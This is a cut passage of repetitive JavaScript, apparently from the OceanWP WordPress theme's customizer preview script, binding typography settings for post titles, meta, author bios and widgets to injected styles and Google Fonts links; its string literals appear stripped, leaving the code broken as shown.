*/ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-blog_post_title-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-blog_post_title-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_post_title_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_post_title-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-single_post_title-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-single_post_title-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-single_post_meta-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-single_post_meta-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_meta_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_meta-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-single_post_title_author-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-single_post_title_author-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-single_post_title_author_bio-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-single_post_title_author_bio-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("single_post_title_author_bio_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-single_post_title_author_bio-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-sidebar_widget_title-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-sidebar_widget_title-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("sidebar_widget_title_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-sidebar_widget_title-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-widgets-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-widgets-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = 